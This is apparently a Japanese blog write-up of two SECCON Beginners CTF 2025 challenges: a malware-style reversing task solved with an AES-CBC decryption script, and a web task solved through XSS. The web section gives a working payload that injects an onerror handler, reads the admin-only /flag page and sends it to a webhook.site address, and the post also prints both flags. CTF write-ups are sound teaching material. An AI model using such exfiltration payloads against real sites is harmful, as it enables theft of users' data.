SECCON Beginners CTF 2025に参加した
投稿日: 2025-08-12
概要
7/26~27に開催されたSECCON Beginners CTF 2025に参加しました。
書くのが遅い!
解いた問題
reversing:MAFC(144 Solve)
MalwareAnalysis-FirstChallenge.exe
を実行してみるとflag.txt
をゴニョゴニョしてflag.encrypted
に変換している事がわかる。
Ghidraで「flag」で文字列検索をかけてみるとFUN_1400011a0()
でwincrypt.hの関数を呼んで処理をしているのが確認できる。
定数周りの解決が面倒なのでChatGPTにぶん投げして解決。
- AES-128、CBCモードで暗号化している
- 鍵は”ThisIsTheEncryptKey”をsha256でハッシュ化したもの
- IVは”IVCanObfuscation”
- UTF-16LEであることに注意
これらの情報からPythonで逆ゴニョゴニョするプログラムを作れば終わり。
from Crypto.Cipher import AES
import hashlib
with open('./flag.encrypted', 'rb') as f:
data = f.read()
key = hashlib.sha256(b"ThisIsTheEncryptKey").digest()
iv = "IVCanObfuscation".encode("utf-16le")[:16]
cipher = AES.new(key, AES.MODE_CBC, iv)
decrypted = cipher.decrypt(data)
print(decrypted)
> python solver.py
b'ctf4b{way_2_90!_y0u_suc3553d_2_ana1yz3_Ma1war3!!!}\x00\r\r\r\r\r\r\r\r\r\r\r\r\r'
web:memo4b(157 Solve)
/flag
にアクセスすることでフラグを入手できるがlocalhostかつAdminからしか見ることができない。
Admin Botからアクセスして結果を別のところに投げさせるのが目標。
app.get('/flag', (req,res)=> {
const clientIP = req.socket.remoteAddress;
const isLocalhost = clientIP === '127.0.0.1' ||
clientIP?.startsWith('172.20.');
if (!isLocalhost) {
return res.status(403).json({ error: 'Access denied.' });
}
if (req.headers.cookie !== 'user=admin') {
return res.status(403).json({ error: 'Admin access required.' });
}
res.type('text/plain').send(FLAG);
});
processEmojis()
でペイロード内のコロンで囲まれたhttp(s)リンクをimgタグのsrcにぶち込んでいるのを確認できる。
:https://google.com"onerror="alert(1)":
でアラートが出るのを確認したのでこのアプローチで攻める。
function processEmojis(html) {
return html.replace(/:((?:https?:\/\/[^:]+|[^:]+)):/g, (match, name) => {
if (emojiMap[name]) {
return emojiMap[name];
}
if (name.match(/^https?:\/\//)) {
try {
const urlObj = new URL(name);
const baseUrl = urlObj.origin + urlObj.pathname;
const parsed = parse(name);
const fragment = parsed.hash || '';
const imgUrl = baseUrl + fragment;
return `<img src="${imgUrl}" style="height:1.2em;vertical-align:middle;">`;
...
色々試行錯誤した末、以下のペイロードで成功。
:https://google.com"onerror="fetch('/flag').then(res=>res.text()).then(flag=>navigator.sendBeacon('//webhook.site/xxxxxx',flag)):
Admin Botからアクセスしてフラグを入手。
ctf4b{xss_1s_fun_and_b3_c4r3fu1_w1th_url_p4r5e}